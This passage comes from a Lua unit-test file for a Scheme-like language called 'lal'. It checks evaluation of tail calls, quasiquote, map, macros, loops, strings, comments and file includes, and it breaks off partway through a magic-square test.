assert_lal('(1 3 21)', [[
(begin
(define sumdown
(lambda (N) (if (> N 0) (+ N (sumdown (- N 1))) 0)))
[ (sumdown 1) (sumdown 2) (sumdown 6) ])]])
end
function oT:testTailIf()
assert_lal('49', [[ (if (return 49) 10 11) ]])
assert_lal('50', [[ (begin (define x 50) (return x)) ]])
assert_lal('51', [[ (begin (define x 51) x) ]])
assert_lal('51', [[ (begin (define x 51) (if #true (return x))) ]])
assert_lal('51', [[ (begin (define x 51) (if #true x)) ]])
assert_lal('51', [[ (begin (define x 51) (if #false #false (return x))) ]])
assert_lal('51', [[ (begin (define x 51) (if #false #false x)) ]])
assert_lal('51', [[ (begin (define x 51) (return (if #false #false (return x)))) ]])
assert_lal('51', [[ (begin (define x 51) (return (if #false #false x))) ]])
-- testing effect of outer return:
assert_lal('51', [[ (return (begin (define x 51) (if #true (return x)))) ]])
assert_lal('51', [[ (return (begin (define x 51) (if #true x))) ]])
assert_lal('51', [[ (return (begin (define x 51) (return (if #f #f (return x))))) ]])
assert_lal('51', [[ (return (begin (define x 51) (return (if #f #f x)))) ]])
-- testing proper output ignore & TCO creation by (return ...):
assert_lal('51', [[ (return (begin (define x 51) (return (if #f #f (return x))) 55)) ]])
assert_lal('51', [[ (return (begin (define x 51) (return (if #f #f x)) 55)) ]])
-- testing let TCO:
assert_lal('61', [[ (let ((a (lambda (x) (+ x 10)) ) (b 51)) (a b)) ]])
assert_lal('61', [[ (let ((a (lambda (x) (return (+ x 10)))) (b 51)) (a b)) ]])
assert_lal('61', [[ (let ((a (lambda (x) (+ x 10)) ) (b 51)) (return (a b))) ]])
assert_lal('61', [[ (let ((a (lambda (x) (return (+ x 10)))) (b 51)) (return (a b))) ]])
assert_lal('61', [[ (return (let ((a (lambda (x) (+ x 10)) ) (b 51)) (a b))) ]])
assert_lal('61', [[ (return (let ((a (lambda (x) (return (+ x 10)))) (b 51)) (a b))) ]])
assert_lal('61', [[ (return (let ((a (lambda (x) (+ x 10)) ) (b 51)) (return (a b)))) ]])
assert_lal('61', [[ (return (let ((a (lambda (x) (return (+ x 10)))) (b 51)) (return (a b)))) ]])
-- testing recursive algorithm definition:
assert_lal('500000500000', [[
(begin
(define sum2
(lambda (n acc)
(if (= n 0)
(return acc)
(return (sum2 (- n 1) (+ n acc))))))
(define res2 (sum2 1000000 0))
res2)]])
-- testing tail of (begin ...)
assert_lal('500000500000', [[
(begin
(define sum2
(lambda (n acc)
(if (= n 0)
(return (begin acc))
(return (begin (sum2 (- n 1) (+ n acc)))))))
(define res2 (sum2 1000000 0))
res2)]])
-- testing implicit tail of (if ...)
assert_lal('500000500000', [[
(begin
(define sum2
(lambda (n acc)
(if (= n 0)
acc
(sum2 (- n 1) (+ n acc)))))
(define res2 (sum2 1000000 0))
res2)]])
end
function oT:testConsConcat()
assert_lal('(1)', [[(cons 1 (list))]])
assert_lal('(1 2)', [[(cons 1 (list 2))]])
assert_lal('(1 2 3)', [[(cons 1 (list 2 3))]])
assert_lal('((1) 2 3)', [[(cons (list 1) (list 2 3))]])
assert_lal('()', [[(concat)]])
assert_lal('(1 2)', [[(concat (list 1 2))]])
assert_lal('(1 2 3 4)', [[(concat (list 1 2) (list 3 4))]])
assert_lal('(1 2 3 4 5 6)', [[(concat (list 1 2) (list 3 4) (list 5 6))]])
assert_lal('()', [[(concat (concat))]])
assert_lal('(1 2 3)', [[(cons! 1 (list 2 3))]])
assert_lal('((1) 2 3)', [[(cons! (list 1) (list 2 3))]])
assert_lal('()', [[(concat!)]])
assert_lal('(1 2 3 4 5 6)', [[(concat! (list 1 2) (list 3 4) (list 5 6))]])
assert_lal('(2 3)', [[(let ((x (list 2 3))) (cons 1 x) x)]])
assert_lal('(1 2 3)', [[(let ((x (list 2 3))) (cons! 1 x) x)]])
assert_lal('(2 3)', [[(let ((x (list 2 3))) (concat x '(1)) x)]])
assert_lal('(2 3 1)', [[(let ((x (list 2 3))) (concat! x '(1)) x)]])
end
function oT:testDefGlobal()
assert_eq(table, lal_eval [[(begin (import (lua basic)) lua-table)]])
assert_lal('(1 2 3)', [[(concat! (let ((x 1)) (define-global y 2) [x]) [y 3])]])
-- TODO!
-- assert_eq(table, lal_eval([[t]], { t = table }))
end
function oT:testDotSyntax()
assert_lal('"foo"', [[
(begin
(import (lua string))
(lua-string-sub "foobar" (+ 0 1) 3))]])
assert_lal('"foo"', [[
(begin
(import (lua basic))
(let ((y 'sub))
(.(begin y) lua-string "foobar" (+ 0 1) 3)))]])
assert_lal('(1 2 3)', [[
(begin
(import lua-basic)
(let ((List (lua-require "lal.util.list")))
(let ((L (List)))
(..push L 1)
(..push L 2)
(..push L 3)
(..table L))))]])
assert_lal('(1 2 3)', [[
(begin
(import lua-basic)
(let ((List (lua-require "lal.util.list")))
(let ((L (List)))
(..(begin 'push) L 1)
(..(begin 'push) L 2)
(..(begin 'push) L 3)
(..table L))))]])
assert_lal('(10 (1 9 4))', [[
(let ((x ())) ($!a: x 10) ($!b: x [1 (* 3 3) 4]) [($a: x) ($b: x)])
]])
assert_lal('(1 9 4)', [[
(let ((y (let ((x ())) ($!a: x 10) ($!b: x [1 (* 3 3) 4])))) y)
]])
assert_lal('("x" "y" "m")', [[
(let ((m {a:: "m" a: "x" 'b "y"})) [($a: m) ($b: m) ($a:: m)])
]])
assert_lal('("x" "y" "m")', [[
(let ((K $))
(let ((m {a:: "m" a: "x" 'b "y"}))
[(K a: m) (K b: m) (K a:: m)]))
]])
assert_lal('("x" "y" "m")', [[
(let ((m {a:: "m" a: "x" 'b "y"}) (oop b:)) [($(begin (when #t "a")) m) ($oop m) ($a:: m)])
]])
assert_lal('("x" "y" "m")', [[
(let ((m {a:: "m" a: "x" 'b "y"}) (oop b:)) [($(begin (when #t a:)) m) ($oop m) ($a:: m)])
]])
assert_lal('("x" "y" "m")', [[
(let ((m {a:: "m" a: "x" 'b "y"}) (oop b:)) [($(begin a:) m) ($oop m) ($a:: m)])
]])
assert_lal('942', [[
(let ((obj { print-hello: (lambda (a) (+ 932 a)) }))
(.print-hello obj 10))
]])
assert_lal('943', [[
(let ((obj { print-hello: (lambda (self a) (+ 933 a)) }))
(..print-hello obj 10))
]])
assert_lal('944', [[
(let ((obj { "print hello" (lambda (a) (+ 934 a)) }))
(. "print hello" obj 10))
]])
assert_lal('945', [[
(let ((obj { "print hello" (lambda (self a) (+ 935 a)) }))
(.. "print hello" obj 10))
]])
end
function oT:testSideeffectIgnore()
assert_lal('0', [[ (begin '1 0) ]])
assert_lal('0', [[ (begin (lambda (x) x) 0) ]])
assert_lal('0', [[ (begin (+ 1 2) 0) ]])
assert_lal('0', [[ (begin (list? []) 0) ]])
assert_lal('0', [[
(begin
(begin ($x: {x: 10}) y:)
(list? [])
0)
]])
assert_lal('(1 2 3 4)', [[
(begin
(import (lua basic))
(define x [1 2 3])
[(let ((m 10)) (list? (.insert lua-table x 4)) (define y m))]
x)
]])
end
function oT:testValueEvaluation()
assert_lal('10', [[10]])
assert_lal('nil', [[nil]])
assert_lal('#true', [[#t]])
assert_lal('#true', [[#true]])
assert_lal('#false', [[#false]])
assert_lal('#false', [[#f]])
assert_lal('1', [[1]])
assert_lal('7', [[7]])
assert_lal('7', [[ 7]])
assert_lal('+', [['+]])
assert_lal('abc', [['abc]])
assert_lal('abc', [[ 'abc]])
assert_lal('abc5', [['abc5]])
assert_lal('abc-def', [['abc-def]])
assert_lal('"abc"', [["abc"]])
assert_lal('"abc"', [[ "abc"]])
assert_lal('"abc (with parens)"', [["abc (with parens)"]])
assert_lal('"abc\\"def"', [["abc\"def"]])
assert_lal('""', [[""]])
assert_lal('{"abc" 1}', [[{"abc" 1}]])
assert_lal('{"a" {"b" 2}}', [[{"a" {"b" 2}}]])
assert_lal('{"a" {"b" {"c" 3}}}', [[{"a" {"b" {"c" 3}}}]])
assert_lal('{"a" {"b" {"cde" 3}}}', [[{ "a" {"b" { "cde" 3 } }}]])
assert_lal('{"a" {"b" {"cde" 3}}}', [[{ a: {b: { cde: 3 } }}]])
assert_lal('{"f" f:}', [[{ 'f f: }]])
end
function oT:testQuasiquote()
assert_lal('7', [[(quasiquote 7)]])
assert_lal('7', [[`7]])
assert_lal('(1 2 3)', [[(quasiquote (1 2 3))]])
assert_lal('(1 2 3)', [[`(1 2 3)]])
assert_lal('(1 2 (3 4))', [[(quasiquote (1 2 (3 4)))]])
assert_lal('(1 2 (3 4))', [[`(1 2 (3 4))]])
assert_lal('7', [[`,7]])
assert_lal('(a 8)', [[(begin (define a 8) [`a `,a])]])
assert_lal('(1 (1 2 4 9 8 7 3) 2 3 4 (101 200 201) 90 100 101 x)', [[
(begin
(define x 101)
`(1
`(1 2 ,(+ 2 2) ,@(list 9 8 7) 3)
,@(list 2 3 (+ 1 3))
,[x 200 201]
90
100
,x
x))
]])
assert_lal('(1 a 3)', [[(let ((a 8)) `(1 a 3))]])
assert_lal('(1 8 3)', [[(let ((a 8)) `(1 ,a 3))]])
assert_lal('(1 "b" "d")', [[(define b '(1 "b" "d"))]])
assert_lal('(1 b 3)', [[`(1 b 3)]])
assert_lal('(1 (1 "b" "d") 3)', [[
(begin
(define b '(1 "b" "d"))
`(1 ,b 3))
]])
assert_lal('(1 c 3)', [[
(begin
(define c '(1 "b" "d"))
`(1 c 3))]])
assert_lal('(1 1 "b" "d" 3)', [[
(begin
(define c '(1 "b" "d"))
`(1 ,@c 3))
]])
assert_lal('(6 21 6)', [[
(begin
(define l (lambda (x) (+ x 1)))
(define k (l 5))
(define m `(begin (define k 20) (+ 1 k)))
[k (eval m) k])
]])
assert_lal('(12 13)', [[
(begin
(define F 12)
(define L (let ((x 10) (y 23)) (begin (define F 13) x F)))
`(,F ,L))]])
-- Following test are taken from R4RS-Tests of SCM:
assert_lal('(list 3 4)', '`(list ,(+ 1 2) 4)')
assert_lal('(list a (quote a))', [[(let ((name 'a)) `(list ,name ',name))]])
assert_lal('(a 3 4 5 6 b)', [[
(begin
(import lua-math)
`(a ,(+ 1 2) ,@(map lua-math-abs '(4 -5 6)) b))
]])
assert_lal('5', "`,(+ 2 3)")
assert_lal('(quasiquote (list (unquote (+ 1 2)) 4))',
"'(quasiquote (list (unquote (+ 1 2)) 4))")
--(test '#(10 5 2 4 3 8) 'quasiquote `#(10 5 ,(sqt 4) ,@(map sqt '(16 9)) 8))
--(test '(a `(b ,(+ 1 2) ,(foo 4 d) e) f)
-- 'quasiquote `(a `(b ,(+ 1 2) ,(foo ,(+ 1 3) d) e) f))
--(test '(a `(b ,x ,'y d) e) 'quasiquote
-- (let ((name1 'x) (name2 'y)) `(a `(b ,,name1 ,',name2 d) e)))
--(test '(list 3 4) 'quasiquote (quasiquote (list (unquote (+ 1 2)) 4)))
end
function oT:testMap()
assert_lal('("1" "2" "3" "4")', [[
(begin
(import lua-basic)
(define str lua-tostring)
(map str '(1 2 3 4)))]])
-- compiled map variants:
assert_lal('((1 1 1) (2 2 2) (3 3 3) (4 4) (5))', [[
(map
(lambda (a b c) [a b c])
[1 2 3 4 5]
[1 2 3 4]
[1 2 3])
]])
assert_lal('((2) (4) (6) (8) (10))', [[
(map (lambda (a) [(* 2 a)]) [1 2 3 4 5])
]])
assert_lal('(1)', [[(map (lambda () 1) '(2))]])
-- next test the function variants of map:
assert_lal('((1 1 1) (2 2 2) (3 3 3) (4 4) (5))', [[
(let ((x map)) (x
(lambda (a b c) [a b c])
[1 2 3 4 5]
[1 2 3 4]
[1 2 3]))
]])
assert_lal('((2) (4) (6) (8) (10))', [[
(let ((x map)) (x (lambda (a) [(* 2 a)]) [1 2 3 4 5]))
]])
assert_error('Bad.*2 argum', [[ (map) ]])
assert_error('Bad.*2 argum', [[ (map (lambda () 10)) ]])
-- Map as function has no error checking yet, handled by lua:
assert_lal('(1)', [[ (let ((x map)) (x (lambda () 1))) ]])
assert_lal('(1 3 6 10)', [[
(let ((sum 0))
(map (lambda (x) (set! sum (+ sum x))) '(1 2 3 4)))
]])
assert_lal('((1 x) (2 y))', [[
(map (lambda (a b) [a b]) '(1 2) '(x y))
]])
end
function oT:testForEach()
-- compiled for-each variants:
assert_lal('(1 1 1 2 2 2 3 3 3 4 4 5)', [[
(let ((out []))
(for-each
(lambda (a b c) (append! out [a b c]))
[1 2 3 4 5]
[1 2 3 4]
[1 2 3])
out)
]])
-- next test the function variants of for-each:
assert_lal('(15 24 6)', [[
(for-each (lambda (a) [(* 2 a)]) [1 2 3 4 5])
(let ((y 0)
(y2 0)
(y3 0)
(f (lambda (x) (set! y (+ x y))))
(f2 (lambda (x) (set! y2 (+ x y2))))
(f3 (lambda (x) (set! y3 (+ x y3)))))
(for-each for-each [f f2 f3] [[4 5 6] [8 8 8] [1 2 3] ])
[y y2 y3])
]])
assert_lal('nil', [[(for-each (lambda () 1) '(2))]])
assert_lal('29', [[
(let ((x for-each) (y 0))
(x (lambda (a) (set! y a)) [29])
y)
]])
assert_error('Bad.*2 argum', [[ (for-each) ]])
assert_error('Bad.*2 argum', [[ (for-each (lambda () 10)) ]])
assert_lal('10', [[
(let ((sum 0))
(for-each (lambda (x) (set! sum (+ sum x))) '(1 2 3 4))
sum)
]])
assert_lal('(1 x 2 y)', [[
(let ((out []))
(for-each (lambda (a b) (append! out [a b])) '(1 2) '(x y))
out)
]])
end
function oT:testAt()
assert_lal('1', [[ (@0 [1 2 3 4]) ]])
assert_lal('3', [[ (@2 [1 2 3 4]) ]])
assert_lal('(1 5 3)', [[
(let ((x [1 2 3]))
(@!1 x 5)
[(@0 x) (@1 x) (@2 x)])
]])
assert_lal('(1 5 3)', [[
(let ((x [1 2 3])
(i 1))
(@!i x 5)
[(@0 x) (@i x) (@2 x)])
]])
assert_lal('(1 2)', [[ (let ((x [])) (@! 0 x 1) (@! 1 x 2) x) ]])
assert_lal('13', [[ (@ (return 13) [1 2 3]) ]])
assert_lal('14', [[ (@1 (return 14)) ]])
assert_lal('15', [[ (@13 [1 2 (return 15)]) ]])
assert_lal('16', [[ (@! (return 16) [1 2 3] 99) ]])
assert_lal('17', [[ (@!1 (return 17) 99)]])
assert_lal('18', [[ (@! 13 [1 2 (return 18)] 99) ]])
assert_lal('22', [[ (@!4 [] 22) ]])
-- Weird case, due to Luas braindamaged Tables:
assert_lal('{5 22}', [[ (let ((x [])) (@!4 x 22) x) ]])
end
function oT:testDefineFun()
assert_lal('213', [[
(begin
(define (x a b)
(define y 100)
(+ (* y a) b))
(x 2 13))
]])
-- and some other minor lambda syntaxes:
assert_lal('4000', [[ ((lambda x (* 200 (@1 x))) #t 20) ]])
assert_lal('4000', [[ ((lambda (a . x) (* 200 (@0 x))) #t 20) ]])
assert_lal('4000', [[ ((lambda (x) (* 200 x)) 20) ]])
assert_lal('5000', [[
(begin
(define (a . x) (@1 x))
(a 1 5000 3))
]])
assert_lal('(1 5001)', [[
(begin
(define (a l . x) [ l (@1 x) ])
(a 1 2 5001 3))
]])
end
function oT:testWhenUnlessNot()
assert_lal('11', [[ (let ((x 0)) (set! x 2) (when (> x 1) (set! x 11) x)) ]])
assert_lal('12', [[ (let ((x 0)) (set! x 2) (unless (< x 1) (set! x 12) x)) ]])
assert_lal('nil', [[ (let ((x 0)) (set! x 2) (when (< x 1) (set! x 11) x)) ]])
assert_lal('nil', [[ (let ((x 0)) (set! x 2) (unless (> x 1) (set! x 12) x)) ]])
assert_lal('#false', [[ (not #true) ]])
assert_lal('4613732', [[
(begin
(define (fibonacci-seq prev-1 prev-2 func)
(let ((fib-num (+ prev-1 prev-2)))
(unless (func fib-num)
(return fib-num))
(fibonacci-seq prev-2 fib-num func)))
(let ((sum 0))
(fibonacci-seq 1 1
(lambda (fib-num)
(when (= (% fib-num 2) 0)
(set! sum (+ sum fib-num)))
(< fib-num 4000000)))
sum))
]])
end
function oT:testFor()
assert_lal('(1 2 3 4)', [[
(let ((l (list)))
(for (x 1 4) (concat! l [x]))
l)
]])
assert_lal('(1 3 5 7)', [[
(let ((l (list)))
(for (x 1 8 2) (concat! l [x]))
l)
]])
assert_lal('123', [[
(let ((l (list)))
(for (x 123 333 2) (return x))
l)
]])
assert_lal('11', [[
(let ((l (list)))
(for (x (return 11) 8 2) (return x))
l)
]])
end
function oT:testDoEach()
assert_lal('11', [[
(let ((x 0))
(do-each (v '(2 2 3 4))
(set! x (+ x v)))
x)
]])
assert_lal('22', [[
(let ((x 0))
(do-each (k v { a: 10 b: 12 })
(set! x (+ x v)))
x)
]])
assert_lal('("a" 10)', [[
(do-each (k v { a: 10 })
(return [k v]))
]])
assert_lal('23', [[
(do-each (k v { a: (return 23) b: 12 })
(return [k v]))
]])
end
function oT:testPredicates2()
assert_lal('#true', [[ (symbol? 'x) ]])
assert_lal('#false', [[ (symbol? x:) ]])
assert_lal('#false', [[ (symbol? [1 2 3]) ]])
assert_lal('#false', [[ (symbol? { a: 1 b: 2 }) ]])
assert_lal('#false', [[ (symbol? []) ]])
assert_lal('#false', [[ (symbol? {}) ]])
assert_lal('#false', [[ (symbol? #true) ]])
assert_lal('#false', [[ (symbol? #false) ]])
assert_lal('#false', [[ (symbol? nil) ]])
assert_lal('#false', [[ (symbol? 1) ]])
assert_lal('#false', [[ (symbol? "abc") ]])
assert_lal('#false', [[ (keyword? 'x) ]])
assert_lal('#true', [[ (keyword? x:) ]])
assert_lal('#false', [[ (keyword? [1 2 3]) ]])
assert_lal('#false', [[ (keyword? { a: 1 b: 2 }) ]])
assert_lal('#false', [[ (keyword? {}) ]])
assert_lal('#false', [[ (keyword? []) ]])
assert_lal('#false', [[ (keyword? #true) ]])
assert_lal('#false', [[ (keyword? #false) ]])
assert_lal('#false', [[ (keyword? nil) ]])
assert_lal('#false', [[ (keyword? 1) ]])
assert_lal('#false', [[ (keyword? "abc") ]])
assert_lal('#false', [[ (list? 'x) ]])
assert_lal('#false', [[ (list? x:) ]])
assert_lal('#true', [[ (list? [1 2 3]) ]])
assert_lal('#false', [[ (list? { a: 1 b: 2 }) ]])
assert_lal('#true', [[ (list? []) ]])
assert_lal('#true', [[ (list? {}) ]])
assert_lal('#false', [[ (list? #true) ]])
assert_lal('#false', [[ (list? #false) ]])
assert_lal('#false', [[ (list? nil) ]])
assert_lal('#false', [[ (list? 1) ]])
assert_lal('#false', [[ (list? "abc") ]])
assert_lal('#false', [[ (map? 'x) ]])
assert_lal('#false', [[ (map? x:) ]])
assert_lal('#false', [[ (map? [1 2 3]) ]])
assert_lal('#true', [[ (map? { a: 1 b: 2 }) ]])
assert_lal('#false', [[ (map? []) ]])
assert_lal('#false', [[ (map? {}) ]])
assert_lal('#false', [[ (map? #true) ]])
assert_lal('#false', [[ (map? #false) ]])
assert_lal('#false', [[ (map? nil) ]])
assert_lal('#false', [[ (map? 1) ]])
assert_lal('#false', [[ (map? "abc") ]])
assert_lal('#true', [[ (string? 'x) ]])
assert_lal('#true', [[ (string? x:) ]])
assert_lal('#false', [[ (string? [1 2 3]) ]])
assert_lal('#false', [[ (string? { a: 1 b: 2 }) ]])
assert_lal('#false', [[ (string? []) ]])
assert_lal('#false', [[ (string? {}) ]])
assert_lal('#false', [[ (string? #true) ]])
assert_lal('#false', [[ (string? #false) ]])
assert_lal('#false', [[ (string? nil) ]])
assert_lal('#false', [[ (string? 1) ]])
assert_lal('#true', [[ (string? "abc") ]])
assert_lal('#false', [[ (number? 'x) ]])
assert_lal('#false', [[ (number? x:) ]])
assert_lal('#false', [[ (number? [1 2 3]) ]])
assert_lal('#false', [[ (number? { a: 1 b: 2 }) ]])
assert_lal('#false', [[ (number? []) ]])
assert_lal('#false', [[ (number? {}) ]])
assert_lal('#false', [[ (number? #true) ]])
assert_lal('#false', [[ (number? #false) ]])
assert_lal('#false', [[ (number? nil) ]])
assert_lal('#true', [[ (number? 1) ]])
assert_lal('#false', [[ (number? "abc") ]])
assert_lal('#false', [[ (boolean? 'x) ]])
assert_lal('#false', [[ (boolean? x:) ]])
assert_lal('#false', [[ (boolean? [1 2 3]) ]])
assert_lal('#false', [[ (boolean? { a: 1 b: 2 }) ]])
assert_lal('#false', [[ (boolean? []) ]])
assert_lal('#false', [[ (boolean? {}) ]])
assert_lal('#true', [[ (boolean? #true) ]])
assert_lal('#true', [[ (boolean? #false) ]])
assert_lal('#false', [[ (boolean? nil) ]])
assert_lal('#false', [[ (boolean? 1) ]])
assert_lal('#false', [[ (boolean? "abc") ]])
assert_lal('#false', [[ (nil? 'x) ]])
assert_lal('#false', [[ (nil? x:) ]])
assert_lal('#false', [[ (nil? [1 2 3]) ]])
assert_lal('#false', [[ (nil? { a: 1 b: 2 }) ]])
assert_lal('#false', [[ (nil? []) ]])
assert_lal('#false', [[ (nil? {}) ]])
assert_lal('#false', [[ (nil? #true) ]])
assert_lal('#false', [[ (nil? #false) ]])
assert_lal('#true', [[ (nil? nil) ]])
assert_lal('#false', [[ (nil? 1) ]])
assert_lal('#false', [[ (nil? "abc") ]])
end
function oT:testDoLoop()
assert_lal('(1 2 3 4 5 6)', [[
(do ((l (list))
(x 1 (+ x 1)))
((> x 6) l)
(concat! l [x]))
]])
assert_lal('10', [[
(do ((l (list))
(y 1 (+ y (return 10)))
(x 1 (+ x 1)))
((> x 6) l)
(concat! l [x]))
]])
assert_lal('()', [[
(do ((l (list))
(y 1 (+ y (return 10)))
(x 7 (+ x 1)))
((> x 6) l)
(concat! l [x]))
]])
assert_lal('7', [[
(do ((l (list))
(y 1 (+ y (return 10)))
(x (return 7) (+ x 1)))
((> x 6) l)
(concat! l [x]))
]])
assert_lal('8', [[
(do ((l (list))
(y (return 8) (+ y (return 10)))
(x (return 7) (+ x 1)))
((> x 6) l)
(concat! l [x]))
]])
assert_lal('11', [[
(do ((x 1 (+ x 1)))
(#t 11)
(return 11))
]])
assert_lal('12', [[
(do ((x 1 (+ x 1)))
(#t 12)
(return 11))
]])
-- just for checking output manually for TCO:
assert_lal('17', [[
(do ((f (lambda (k) (if (> k 1000) (return 17) (f (+ k 1)))))
(x 1 (+ x 1)))
(#t (f 0))
#true)
]])
assert_lal('100', [[
(let ((y (do ((x 1 (+ x 1))) (#t 100) #true)))
y)
]])
assert_lal('101', [[
(let ((y (do ((x 1 (+ x 1))) (#t (return 101)) #true)))
y)
]])
assert_lal('102', [[
(let ((y (do ((x 1 (+ x 1))) (#f (return 101)) (return 102))))
y)
]])
assert_lal('102', [[
(let ((y (do ((x 1 (+ x 1))) (#f 112) (return 102))))
y)
]])
end
function oT:testCompToLua()
local sChunk = lal_eval [[
(compile-to-lua '(let ((x 10)) (+ x 10)))
]]
local x = load(sChunk)
assert_eq(20, x())
assert_match([[.*return %(x %+ 10%);.*]],
lal_eval [[
(compile-to-lua '(let ((x 10)) (+ x 10)))
]])
end
function oT:testBlock()
assert_lal('13', [[
(let ((l (block moep
(do ((x 1)) ((>= x 16) x)
(set! x (+ x 1))
(when (= x 13)
(return-from moep x))
))))
l)
]])
assert_lal('16', [[
(let ((l (block moep
(do ((x 1)) ((>= x 16) x)
(set! x (+ x 1))
(when (= x 19)
(return-from moep x))
))))
l)
]])
assert_lal('45', [[
(let ((l (block moep
(let ((y 0))
(for (x 1 10)
(set! y (+ y x))
(when (> y 40) (return-from moep y)))))))
l)
]])
end
function oT:testCompileErrors()
assert_error('.*such.*symbol.*%(let', [[(let ((x 10)) y)]])
end
function oT:testInclude()
local f = io.open("lalTestIncl1.lal", "w")
f:write([[
(begin
(define G 102))
]])
f:close()
local f = io.open("lalTestIncl2.lal", "w")
f:write([[
(begin
(define G2 103)
109)
]])
f:close()
local f = io.open("lalTest/lalTestIncl3.lal", "w")
f:write([[
(begin
(include lalTestIncl4)
108)
]])
f:close()
local f = io.open("lalTest/lalTestIncl4.lal", "w")
f:write([[(define G3 104)]])
f:close()
assert_lal('102', [[ (include "lalTestIncl1.lal") ]])
assert_lal('109', [[ (include lalTestIncl2) ]])
assert_lal('207', [[
(begin
(include "/lalTest/lalTestIncl3.lal" "lalTestIncl2.lal")
(+ G2 G3))]])
assert_error('Expected.*1 arg', [[(include)]])
assert_error('not a string or symbol', [[(include (123))]])
end
function oT:testComments()
assert_lal('99', [[
; fooo
99 ]])
assert_lal('99', [[; fofoewofwofwe
(begin
99) ]])
assert_lal('99', [[; fofoewofwofwe
(begin
99)
; fofoewofwofwe
]])
assert_lal('99', [[
(begin
; fooo
99) ]])
assert_lal('(foo 323 11)',
[[ ['foo #;bar #;399 323 #;(* 2 2 3 4) 11] ]])
assert_lal('(1)', [[
[
#| foofeo |#
1
]
]])
assert_lal('(list |# 144)', [[
'[
#| FEWO FWPO WOPF W
FOIEWJFEIWOWE
#' feowfeo feo e
|#
|#
; fooo
144] ]])
assert_lal('(list 144)', [[
'[
#| FEWO FWPO WOPF W
FOIEWJFEIWOWE
#| feowfeo feo e
|#
|#
; fooo
144] ]])
assert_lal('(12 224 32543 42)', [[
(list
12
224
32543
42
;
)
]])
assert_lal('(12 224 32543 42)', [[
;feo
[
12
224
32543
42
;
]
]])
assert_lal('{"f" 234}', [[
{
;fewo
f: ;feofwfwe
;fewgree
234
;ogore
}
]])
end
function oT:testString()
assert_eq('\xFF\xFE', lal_eval [[ "\xFF;\xFE;" ]])
assert_eq('\r\n\"\a\t\b', lal_eval [[ "\r\n\"\a\t\b" ]])
assert_eq('|\\\r\n\"\a\t\b', lal_eval [[ "\|\\\r\n\"\a\t\b" ]])
assert_eq(' fewfew f ewufi wfew ', lal_eval [[ " fewfew \
f ewufi wfew \
" ]])
assert_error('values bigger than 0xFF', [[ "\xFFFF;\xFE;" ]])
end
function oT:testMultiLineString()
assert_eq([[FOO
BAR]],
lal_eval [[
#<<EOS
FOO
BAR
EOS]])
assert_eq([[#
FOO42
BAR]],
lal_eval [[
#<#EOS
##
FOO#(+ 2 40)
BAR
EOS]])
end
function oT:testMacro()
assert_lal('(1 2 3)', [[
(begin
(define-macro (testmak a) `[,a (+ 1 ,a) (+ 2 ,a)])
(testmak 1))
]])
assert_lal('((list 1 (+ 1 1) (+ 2 1)) (1 2 3))', [[
(begin
(define-macro (testmak a)
`[,a (+ 1 ,a) (+ 2 ,a)])
[
(macroexpand (testmak 1))
(testmak 1)
])
]])
assert_lal('((1 2 3) 2 3)', [[
(begin
(define-macro (testmak a . x)
`[ '(,a ,@x) ,(@0 x) ,(@1 x) ])
(testmak 1 2 3))
]])
assert_lal('13', [[
(let ((j 10))
(define-macro (testmak a)
`(+ j ,a))
(testmak 3))
]])
assert_lal('50', [[
(let ((j 10))
(define-macro (testmak a)
`(let ((j 20))
(+ j ,a)))
(testmak (+ j 10)))
]])
assert_lal('30', [[
(let ((j 10))
(define-macro (testmak a)
(let ((j (gensym)))
`(let ((,j 20))
(+ j ,a)))) ; error here, not unquoted j
(testmak (+ j 10)))
]])
assert_lal('40', [[
(let ((j 10))
(define-macro (testmak a)
(let ((j (gensym)))
`(let ((,j 20))
(+ ,j ,a))))
(testmak (+ j 10)))
]])
end
function oT:testImport()
local fh = io.open("test_output_macro_def.lal", "w")
os.remove("test_output_macro_def_out.lua")
fh:write([[{
macro-add: (define-macro (macro-add a b) `(+ ,a ,@b))
func-mul: (lambda (a b) (* a b 10))
}]])
fh:close()
assert_lal('44', [[
(import (test_output_macro_def))
(test_output_macro_def-macro-add 12 32)
]]);
assert_lal('3630', [[
(import (test_output_macro_def))
(test_output_macro_def-func-mul 11 33)
]]);
end
function oT:testAndOr()
assert_lal('93', [[
(let ((x 10))
(or #f
(begin (set! x 22) #f)
(+ x 71)
(set! x 32)))
]])
assert_lal('99', [[
(let ((x 10))
(or #f
(begin (set! x 22) #f)
(return 99)
(+ x 71)
(set! x 32)))
]])
assert_lal('10', [[
(let ((x 12)
(f (lambda () 10)))
(or #f
(begin (set! x 22) #f)
(f)))
]])
assert_lal('22', [[
(let ((x 12)
(f (lambda () 10)))
(or #f
(begin (set! x 22) #f)
(f))
22)
]])
assert_lal('44', [[
(let ((x 44)
(f (lambda () 30)))
(and #f
(begin (set! x 33) #f)
(f))
x)
]])
assert_lal('33', [[
(let ((x 44)
(f (lambda () x)))
(and #t
(begin (set! x 33) #f)
(f))
x)
]])
assert_lal('32', [[
(let ((x 44)
(f (lambda () x)))
(and #t
(begin (set! x 32) #t)
(f)))
]])
assert_lal('#false', [[(and 1 3 #f 99)]])
assert_lal('99', [[(and 1 3 #t 99)]])
assert_lal('#true', [[(and 1 3 3432 #t)]])
assert_lal('1', [[(or #f 1 3 3432 #t)]])
assert_lal('#false', [[(or #f #f ((lambda () #f)) #f)]])
end
function oT:testMagicSquares()
assert_lal('(#false #true)', [[
(begin
(define T2 [ 8 1 6 3 5 7 4 9 2 ])
(define T1 [ 3 5 7 8 1 6 4 9 2 ])
; [8, 1, 6, 3, 5, 7, 4, 9, 2] => true
; [2, 7, 6, 9, 5, 1, 4, 3, 8] => true
; [3, 5, 7, 8, 1, 6, 4, 9, 2] => false
; [8, 1, 6, 7, 5, 3, 4, 9, 2] => false
(define (cell table x y)
(@(+ (* x 3) y) table))
(define (sum-direction table start dir)
(let ((cx (@0 start))
(cy (@1 start))
(sum 0))
(for (i 0 2)
(set! sum (+ sum (cell table cx cy)))
(set! cx (+ cx (@0 dir)))
(set! cy (+ cy (@1 dir))))
sum))
(define (all-eq-to list item)
(do-each (l list)
(when (not (eqv? l item))
(return #false)))
#t)
(define (test-all-dirs table)
(let ((d1 (sum-direction table [0 0] [0 1]))
(d2 (sum-direction table [1 0] [0 1]))
(d3 (sum-direction table [2 0] [0 1]))
(d4 (sum-direction table [0 0] [1 1]))
(d5 (sum-direction table [0 2] [1 -1]))
(d6 (sum-direction table [0 0] [1 0]))
(d7 (sum-direction table [0 1] [1 0]))
(d8 (sum-direction table [0 2] [1 0])))
(all-eq-to [d1 d2 d3 d4 d5 d6 d7 d8] 15)))
